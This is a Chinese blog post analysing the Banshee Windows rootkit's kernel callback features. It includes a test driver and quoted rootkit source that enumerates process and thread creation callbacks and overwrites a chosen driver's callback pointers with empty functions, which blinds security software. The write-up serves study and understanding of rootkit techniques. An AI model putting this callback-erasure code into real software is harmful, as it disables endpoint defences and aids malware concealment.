Banshee rootkit研究之内核回调

Banshee rootkit研究之内核回调

书接上回,这次的文章继续来探讨一下Banshee内核回调功能的实现😘

进程/线程创建回调函数枚举

banshee运行callbacks可以列举出系统中注册的对进程/线程创建的回调函数

图片[1]-Banshee rootkit研究之内核回调-棉花糖会员站

写一个驱动程序来验证这个枚举功能

#include <ntddk.h>

PVOID g_ProcessNotifyRoutineHandle = NULL;
PVOID g_ThreadNotifyRoutineHandle = NULL;

// 进程创建回调函数
VOID ProcessNotifyRoutineEx(
	_Inout_ PEPROCESS Process,
	_In_ HANDLE ProcessId,
	_Inout_opt_ PPS_CREATE_NOTIFY_INFO CreateInfo
)
{
	// 仅在进程创建时打印
	if (CreateInfo != NULL) {
		DbgPrint("Process Created: Process ID = 0x%p\n", ProcessId);
	}
}

// 线程创建回调函数
VOID ThreadNotifyRoutineEx(
	_In_ HANDLE ProcessId,
	_In_ HANDLE ThreadId,
	_In_ BOOLEAN Create
)
{
	// 仅在线程创建时打印
	if (Create) {
		DbgPrint("Thread Created: Process ID = 0x%p, Thread ID = 0x%p\n", ProcessId, ThreadId);
	}
}

// 驱动程序卸载函数
VOID DriverUnload(
	_In_ PDRIVER_OBJECT DriverObject
)
{
	// 取消注册进程回调
	if (g_ProcessNotifyRoutineHandle != NULL) {
		PsSetCreateProcessNotifyRoutineEx(ProcessNotifyRoutineEx, TRUE);
	}

	// 取消注册线程回调
	if (g_ThreadNotifyRoutineHandle != NULL) {
		PsRemoveCreateThreadNotifyRoutine(ThreadNotifyRoutineEx);
	}

	DbgPrint("Driver Unloaded Successfully\n");
}

// 驱动程序入口函数
NTSTATUS DriverEntry(
	_In_ PDRIVER_OBJECT DriverObject,
	_In_ PUNICODE_STRING RegistryPath
)
{
	NTSTATUS status;

	// 设置驱动程序卸载函数
	DriverObject->DriverUnload = DriverUnload;

	// 注册进程创建回调
	status = PsSetCreateProcessNotifyRoutineEx(ProcessNotifyRoutineEx, FALSE);
	if (!NT_SUCCESS(status)) {
		DbgPrint("Failed to register process notify routine: 0x%X\n", status);
		return status;
	}
	g_ProcessNotifyRoutineHandle = ProcessNotifyRoutineEx;

	// 注册线程创建回调
	status = PsSetCreateThreadNotifyRoutine(ThreadNotifyRoutineEx);
	if (!NT_SUCCESS(status)) {
		PsSetCreateProcessNotifyRoutineEx(ProcessNotifyRoutineEx, TRUE);
		DbgPrint("Failed to register thread notify routine: 0x%X\n", status);
		return status;
	}
	g_ThreadNotifyRoutineHandle = ThreadNotifyRoutineEx;

	DbgPrint("Driver Loaded Successfully\n");
	return STATUS_SUCCESS;
}

在这个驱动程序中,注册了两个回调函数,对进程和对线程创建的回调函数.

以下是进程创建回调函数,打印创建进程的pid

VOID ProcessNotifyRoutineEx(
	_Inout_ PEPROCESS Process,
	_In_ HANDLE ProcessId,
	_Inout_opt_ PPS_CREATE_NOTIFY_INFO CreateInfo
)
{
	if (CreateInfo != NULL) {
		DbgPrint("Process Created: Process ID = 0x%p\n", ProcessId);
	}
}

以下是线程创建回调函数,打印创建线程的tid,以及父进程pid

VOID ThreadNotifyRoutineEx(
	_In_ HANDLE ProcessId,
	_In_ HANDLE ThreadId,
	_In_ BOOLEAN Create
)
{
	if (Create) {
		DbgPrint("Thread Created: Process ID = 0x%p, Thread ID = 0x%p\n", ProcessId, ThreadId);
	}
}

注册,开启上述驱动,可以看到dbgview中的输出

图片[2]-Banshee rootkit研究之内核回调-棉花糖会员站

上述回调函数成功注册并运行

再次在banshee中运行callbacks,可以查看到KMDFDriver2.sys中的两个回调函数已经被枚举出

图片[3]-Banshee rootkit研究之内核回调-棉花糖会员站

接下来对该枚举功能进行解释

以下是输入callbacks会执行的case分支

case ENUM_CALLBACKS: 
       {
           auto cbData = BeCmd_EnumerateCallbacks((CALLBACK_TYPE)payload.ulValue);

           // Write answer: copy over callbacks
           KeStackAttachProcess(BeGlobals::winLogonProc, &apc);
           for (auto i = 0U; i < cbData.size(); ++i)
           {
               CALLBACK_DATA cbd = { // TODO: this aint pretty, its a pity...
                   cbData[i].driverBase,
                   cbData[i].offset,
                   NULL
               };
               memcpy(cbd.driverName, cbData[i].driverName, (wcslen(cbData[i].driverName) + 1) * sizeof(WCHAR));

               memcpy((PVOID)&(*((BANSHEE_PAYLOAD*)BeGlobals::pSharedMemory)).callbackData[i], (PVOID)&cbd, sizeof(CALLBACK_DATA));
           }
           // Write amount of callbacks to ulValue
           (*((BANSHEE_PAYLOAD*)BeGlobals::pSharedMemory)).ulValue = (ULONG)cbData.size();
           KeUnstackDetachProcess(&apc);
       }
       bansheeStatus = STATUS_SUCCESS;
       break;

详细解释:

  • auto cbData = BeCmd_EnumerateCallbacks((CALLBACK_TYPE)payload.ulValue);cbData 将存储查找到的所有回调信息.进入 BeCmd_EnumerateCallbacks返回了BeEnumerateKernelCallbacks(type)
ktd::vector<KernelCallback, PagedPool>
BeEnumerateKernelCallbacks(CALLBACK_TYPE type)
{
	auto data = ktd::vector<KernelCallback, PagedPool>();

	// get address for the kernel callback array
	auto arrayAddr = BeGetKernelCallbackArrayAddr(type);
	if (!arrayAddr)
	{
		LOG_MSG("Failed to get array addr for kernel callbacks\r\n");
		return data;
	}
	LOG_MSG("Array for callbacks: 0x%llx\r\n", arrayAddr);

	for (INT i = 0; i < 16; ++i) // TODO: max number
	{
		// get current address & align the addresses to 0x10 (https://medium.com/@yardenshafir2/windbg-the-fun-way-part-2-7a904cba5435)
		PVOID currCallbackBlockAddr = (PVOID)(((UINT64*)arrayAddr)[i] & 0xFFFFFFFFFFFFFFF0);

		if (!currCallbackBlockAddr)
			continue;

		// cast to callback routine block
		auto currCallbackBlock = *((EX_CALLBACK_ROUTINE_BLOCK*)currCallbackBlockAddr);

		// get function address
		auto callbackFunctionAddr = (UINT64)currCallbackBlock.Function;

		// get corresponding driver
		auto driver = BeGetDriverForAddress(callbackFunctionAddr);

		if (!driver)
		{
			LOG_MSG("Didnt find driver for callback\r\n");
			continue;
		}

		// calculate offset of function
		auto offset = callbackFunctionAddr - (UINT64)(driver->DllBase);

		// Print info
		LOG_MSG("Callback: %ls, 0x%llx + 0x%llx\r\n", driver->BaseDllName.Buffer, (UINT64)driver->DllBase, offset);

		// add to result data
		KernelCallback pcc = {
			driver->BaseDllName.Buffer,
			(UINT64)driver->DllBase,
			offset
		};
		data.push_back(pcc);
	}

	return data;
}
  • 在这个函数中创建一个使用分页池的内核向量,用于存储回调信息,遍历回调数组,最大限制为16个
  • 在for循环中,对每一个数组成员获取当前回调块地址,提取回调函数的实际地址
  • 调用BeGetDriverForAddress通过函数地址定位所属驱动
  • 通过用函数地址减去驱动基地址得到回调函数在驱动中的相对偏移.
  • 最后构造KernelCallback pcc = { driver->BaseDllName.Buffer, // 驱动名 (UINT64)driver->DllBase, // 驱动基地址 offset // 函数偏移 };这样的结结构体,并且将其添加到结果向量并返回.
  • 以下为BeGetDriverForAddress实现,原理是通过遍历内核驱动链表InLoadOrderLinks,找到包含给定地址的驱动模块.
BeGetDriverForAddress(UINT64 address)
{
	PKLDR_DATA_TABLE_ENTRY entry = (PKLDR_DATA_TABLE_ENTRY)(BeGlobals::diskDriverObject)->DriverSection;
	PKLDR_DATA_TABLE_ENTRY first = entry;

	LOG_MSG("Looking for address: 0x%llx\r\n", address);

	// HACK: TODO: drivers are not sorted by address, so i do stupid shit here
	PKLDR_DATA_TABLE_ENTRY currentBestMatch = NULL;
	while ((PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink != first)
	{
		UINT64 startAddr = UINT64(entry->DllBase);
		// UINT64 endAddr = UINT64(((PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink)->DllBase);
		if (address >= startAddr && (currentBestMatch == NULL || startAddr > UINT64(currentBestMatch->DllBase)))
		{
			currentBestMatch = entry;
		}
		entry = (PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink;
	}

	return currentBestMatch;
}
  • BeCmd_EnumerateCallbacksha函数出来之后,又回到了case分支,并且获得了一个类型为ktd::vector<KernelCallback,(POOL_TYPE)1>的包含所有回调信息的ji结构体cbData
  • KeStackAttachProcess(BeGlobals::winLogonProc, &apc);切换到 winLogon 进程上下文  目的是安全地访问共享内存区域
  • 接着在for (auto i = 0U; i < cbData.size(); ++i)这个for循环和后续代码中,将cbData中的信息拷贝到共享内存方便用户态的命令行程序读取和输出
  • 最后恢复上下文 KeUnstackDetachProcess(&apc); ,返回成功

隐藏进程/线程创建回调函数

核心代码:

NTSTATUS
BeReplaceKernelCallbacksOfDriver(PWCH targetDriverModuleName, CALLBACK_TYPE type)
{
	LOG_MSG("Target: %S\n", targetDriverModuleName);

	// get address for the kernel callback array
	auto arrayAddr = BeGetKernelCallbackArrayAddr(type);
	if (!arrayAddr)
	{
		LOG_MSG("Failed to get array addr for kernel callbacks\r\n");
		return STATUS_NOT_FOUND;
	}
	LOG_MSG("Array for callbacks: 0x%llx\r\n", arrayAddr);

	for (INT i = 0; i < 16; ++i) // TODO: max number
	{
		// get callback array address & align the addresses to 0x10 (https://medium.com/@yardenshafir2/windbg-the-fun-way-part-2-7a904cba5435)
		auto currCallbackBlockAddr = (PVOID)(((UINT64*)arrayAddr)[i] & 0xFFFFFFFFFFFFFFF0);

		if (!currCallbackBlockAddr)
			continue;

		// cast to callback routine block
		auto currCallbackBlock = *((EX_CALLBACK_ROUTINE_BLOCK*)currCallbackBlockAddr);

		// get function address
		auto callbackFunctionAddr = (UINT64)currCallbackBlock.Function;

		// get corresponding driver
		auto driver = BeGetDriverForAddress(callbackFunctionAddr);

		if (!driver)
		{
			LOG_MSG("Didnt find driver for callback\r\n");
			continue;
		}

		// if it is the driver were looking for
		if (wcscmp(driver->BaseDllName.Buffer, targetDriverModuleName) == 0)
		{
			// calculate offset of function
			auto offset = callbackFunctionAddr - (UINT64)(driver->DllBase);

			// Print info
			LOG_MSG("Replacing callback with empty callback: %ls, 0x%llx + 0x%llx\r\n", driver->BaseDllName.Buffer, (UINT64)driver->DllBase, offset);
			
			auto addrOfCallbackFunction = (ULONG64)currCallbackBlockAddr + sizeof(ULONG_PTR);

			{ 
				AutoLock<FastMutex> _lock(BeGlobals::callbackLock);
				LONG64 oldCallbackAddress;

				// Replace routine by empty routine
				switch (type)
				{
				case CreateProcessNotifyRoutine:
					oldCallbackAddress = InterlockedExchange64((LONG64*)addrOfCallbackFunction, (LONG64)&BeEmptyCreateProcessNotifyRoutine); 
					break;
				case CreateThreadNotifyRoutine:
					oldCallbackAddress = InterlockedExchange64((LONG64*)addrOfCallbackFunction, (LONG64)&BeEmptyCreateThreadNotifyRoutine);
					break;
				default:
					LOG_MSG("Invalid callback type\r\n");
					return STATUS_INVALID_PARAMETER;
					break;
				}

				// save old callback to restore later upon unloading
				BeGlobals::beCallbacksToRestore.addrOfCallbackFunction[BeGlobals::beCallbacksToRestore.length] = addrOfCallbackFunction;
				BeGlobals::beCallbacksToRestore.callbackToRestore[BeGlobals::beCallbacksToRestore.length] = oldCallbackAddress;
				BeGlobals::beCallbacksToRestore.callbackType[BeGlobals::beCallbacksToRestore.length] = type;
				BeGlobals::beCallbacksToRestore.length++;
			} 
		}
	}

	LOG_MSG("Kernel callbacks erased: %i\n", BeGlobals::beCallbacksToRestore.length);

	return STATUS_SUCCESS;
}

原理是通过覆盖函数指针,使其指向 Banshee 中的空函数,从而删除回调。

先看效果,在文章开头我们写了一个打印pid,tid的驱动,使用这个驱动做实验

banshee运行earse_t 输入KMDFDriver2.sys 运行之后如图

图片[4]-Banshee rootkit研究之内核回调-棉花糖会员站

可以看到banshee找到了KMDFDriver2.sys中线程创建回调函数的地址,并且将其替换为空函数的地址,使得该回调函数无法再次读创建线程的操作进行回调.

BeReplaceKernelCallbacksOfDriver和枚举进程时一样,都是使用BeGetKernelCallbackArrayAddr来获取回调函数信息数组,核心逻辑

  • 在遍历数组时通过auto callbackFunctionAddr = (UINT64)currCallbackBlock.Function; 获取回调函数地址
  • 通过auto driver = BeGetDriverForAddress(callbackFunctionAddr); 查找函数所在驱动
  • 之后比较用户输入和for循环中的驱动名
  • 如果相同通过auto offset = callbackFunctionAddr - (UINT64)(driver->DllBase); 计算回调函数在驱动中的偏移
  • 通过auto addrOfCallbackFunction = (ULONG64)currCallbackBlockAddr + sizeof(ULONG_PTR); 计算回调函数地址

在获取到auto addrOfCallbackFunction地址后,进行以下操作

switch (type)  
                {  
                case CreateProcessNotifyRoutine:  
                    oldCallbackAddress = InterlockedExchange64(  
                        (LONG64*)addrOfCallbackFunction,   
                        (LONG64)&BeEmptyCreateProcessNotifyRoutine  
                    );   
                    break;  
                case CreateThreadNotifyRoutine:  
                    oldCallbackAddress = InterlockedExchange64(  
                        (LONG64*)addrOfCallbackFunction,   
                        (LONG64)&BeEmptyCreateThreadNotifyRoutine  
                    );  
                    break;  
                default:  
                    LOG_MSG("Invalid callback type\r\n");  
                    return STATUS_INVALID_PARAMETER;  
                }

根据回调类型来使用空函数替换进程创建回调或者线程创建回调,使得该回调函数失效.

Banshee rootkit的所有功能到此就全部说明完毕😍还是学到了很多东西捏,后续的计划是再去研究研究KdMapper😎感谢各位阅读🥰

© 版权声明
THE END
喜欢就支持一下吧
点赞47 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容